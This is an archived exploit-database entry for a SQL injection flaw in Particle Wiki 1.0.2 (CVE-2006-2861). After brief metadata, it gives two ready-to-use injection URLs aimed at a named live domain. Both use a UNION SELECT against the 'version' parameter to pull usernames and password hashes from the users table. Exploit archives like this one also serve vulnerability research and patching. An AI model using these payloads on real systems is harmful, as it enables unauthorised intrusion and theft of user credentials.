Particle Wiki 1.0.2 - SQL Injection

Author: FarhadKey
type: webapps
platform: php
port: 
date_added: 2006-06-04 
date_updated:  
verified: 1 
codes: OSVDB-25976;CVE-2006-2861 
tags: 
aliases:  
screenshot_url:  
application_url: 

# Particle wiki <= 1.0.2 Remote SQL_Injection - Username/Password(hash) Extractor
# Thanks to UNSECURED SYSTEMS : http://pridels.blogspot.com/2006/06/particle-wiki-sql-inj.html
# Exploited by FarhadKey from http://www.kapda.ir

Username :
http://wiki.particlesoft.net/index.php?version=-1%20union%20select%201,1,1,1,1,username%20from%20pwiki_users%20/*
Password :
http://wiki.particlesoft.net/index.php?version=-1%20union%20select%201,1,1,1,1,password%20from%20pwiki_users%20/*

# milw0rm.com [2006-06-05]